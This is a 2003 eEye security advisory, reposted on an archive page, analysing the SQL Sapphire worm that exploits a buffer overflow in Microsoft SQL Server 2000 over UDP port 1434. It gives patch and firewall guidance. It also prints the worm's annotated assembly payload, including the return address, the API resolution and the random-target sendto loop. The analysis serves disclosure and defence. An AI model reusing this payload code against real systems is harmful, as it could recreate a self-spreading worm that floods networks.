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eeye.sql-worm.txt

eeye.sql-worm.txt
Posted Jan 25, 2003
Authored by Riley Hassell | Site eEye.com

Eeye Advisory - The "SQL Sapphire" worm is spreading quickly among unpatched Microsoft SQL Server 2000 pre SP 2 systems on the internet with are accessible over port 1434 udp. Includes a detailed analysis of the worms payload.

tags | worm, udp
SHA-256 | 1fd78f476cf00ccc0de6101ec49913f97a341524cce0732945250de296f1ea4c

eeye.sql-worm.txt

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==============================  

SQL Sapphire Worm Analysis

Release Date:
1/25/03

Severity:
High

Systems Affected:
Microsoft SQL Server 2000 pre SP 2

Description:
Late Friday, January 24, 2003 we became aware of a new SQL worm spreading
quickly across various networks around the world.

The worm is spreading using a buffer overflow to exploit a flaw in Microsoft
SQL Server 2000. The SQL 2000 server flaw was discovered in July, 2002 by
Next Generation Security Software Ltd. The buffer overflow exists because of
the way SQL improperly handles data sent to its Microsoft SQL Monitor port.
Attackers leveraging this vulnerability will be executing their code as
SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges.

The worm works by generating pseudo-random IP addresses to try to infect
with its payload. The worm payload does not contain any additional
malicious content (in the form of backdoors etc.); however, because of the
nature of the worm and the speed at which it attempts to re-infect systems,
it can potentially create a denial-of-service attack against infected
networks.

We have been able to verify that multiple points of connectivity on the
Internet have been bogged down since 9pm Pacific Standard Time.

It should be noted that this worm is not the same as an earlier SQL worm
that used the SA/nopassword SQL vulnerability as its spread vector. This is
a new worm is more devastating as it is taking advantage of a
software-specific flaw rather than a configuration error. We have already
had many reports of smaller networks brought down due to the flood of data
from the Sapphire Worm trying to re-infect new systems.

Corrective Action
We recommend that people immediately firewall SQL service ports at all of
their gateways. The worm uses only UDP port 1434 (SQL Monitor Port) to
spread itself to a new system; however, it is safe practice to filter all
SQL traffic at all gateways. The following is a list of SQL server ports:
ms-sql-s 1433/tcp #Microsoft-SQL-Server ms-sql-s 1433/udp
#Microsoft-SQL-Server ms-sql-m 1434/tcp #Microsoft-SQL-Monitor ms-sql-m
1434/udp #Microsoft-SQL-Monitor

Once again this worm is taking advantage of a known vulnerability that has
had a patch available for many months. Microsoft has also released a recent
service pack for SQL (Service Pack 3) that includes a fix for this
vulnerability.

Standalone patch:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS02-039.asp

SQL 2000 Service Pack 3: http://www.microsoft.com/sql/downloads/2000/sp3.asp

Previous SQL Service Pack versions are vulnerable.

Technical Description

The following is a quick run-down of what the worm's payload is doing after
infection:
1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in
sqlsort.dll. It snags the necessary library base addresses and function
entry points as needed. 2. Calls gettickcount, and uses returned count as a
pseudo-random seed 3. Creates a UDP socket 4. Performs a simple pseudo
random number generation formula using the returned gettickcount value to
generate an IP Address that will later be used as the target. 5. Send worm
payload in a SQL Server Resolution Service request to the pseudo random
target address, on port 1434 (UDP). 6. Return back to formula and continue
generating new pseudo random addresses.


push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp
mov eax, 1010101h ; Reconstruct session, after the
overflow the payload buffer
; get's corrupted during program
execution but before the
; payload is executed. .
xor ecx, ecx
mov cl, 18h

FIXUP:
push eax
loop FIXUP
xor eax, 5010101h
push eax
mov ebp, esp
push ecx
push 6C6C642Eh
push 32336C65h
push 6E72656Bh ; kernel32
push ecx
push 746E756Fh ; GetTickCount
push 436B6369h
push 54746547h
mov cx, 6C6Ch
push ecx
push 642E3233h ; ws2_32.dll
push 5F327377h
mov cx, 7465h
push ecx
push 6B636F73h ; socket
mov cx, 6F74h
push ecx
push 646E6573h ; sendto
mov esi, 42AE1018h ; IAT from sqlsort
lea eax, [ebp-2Ch] ; (ws2_32.dll)
push eax
call dword ptr [esi] ; call loadlibrary
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-10h] ; (kernel32.dll)
push eax
call dword ptr [esi] ; loadlibrary
push eax
mov esi, 42AE1010h ; IAT from sqlsort
mov ebx, [esi]
mov eax, [ebx]
cmp eax, 51EC8B55h ; check entry point fingerprint
jz short VALID_GP ; Check entry point fingerprint for
getprocaddress, if it failes
; fall back to GetProcAddress entry
in another DLL version.
; Undetermined what dll versions
this will succedd on. Due
; to the lack of reliable importing
this may not work across all
; dll versions.
mov esi, 42AE101Ch ; IAT entry -> 77EA094C

VALID_GP:
call dword ptr [esi] ; GetProcAddress
call eax ; return from GetProcaddress =
GetTickCount entrypoint
xor ecx, ecx
push ecx
push ecx
push eax
xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; 9A050002 = port 1434 / AF_INET
lea eax, [ebp-34h] ; (socket)
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
push 11h
push 2
push 2
call eax ; socket
push eax
lea eax, [ebp-3Ch] ; sendto
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
mov esi, eax ; save sendto -> esi
or ebx, ebx
xor ebx, 0FFD9613Ch

PRND:
mov eax, [ebp-4Ch] ; Pseudo Random Algorithm Start
lea ecx, [eax+eax*2]
lea edx, [eax+ecx*4]
shl edx, 4
add edx, eax
shl edx, 8
sub edx, eax
lea eax, [eax+edx*4]
add eax, ebx ; Pseudo Random Algorithm End
mov [ebp-4Ch], eax
push 10h
lea eax, [ebp-50h]
push eax
xor ecx, ecx
push ecx
xor cx, 178h
push ecx
lea eax, [ebp+3]
push eax
mov eax, [ebp-54h]
push eax
call esi ; sendto
jmp short PRND ; Jump back to Pseudo Random Algorithm
Start

In Closing
We have provided brief information here as we are currently working to
understand more of the worm's internal behavior. We will provide updates as
they become available.

This worm has been dubbed the "Sapphire Worm" by eEye due to the fact that
several engineers had to be pulled away from local bars to begin the
investigation/dissection process.

Credit:
Riley Hassell

Related Links:
SQLSecurity.com
http://sqlsecurity.com/

Microsoft Security Bulletin:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/ms02-039.asp

Copyright (c) 1998-2003 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent
of eEye. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail alert@eEye.com for
permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.

Feedback
Please send suggestions, updates, and comments to:

eEye Digital Security
http://www.eEye.com
info@eEye.com

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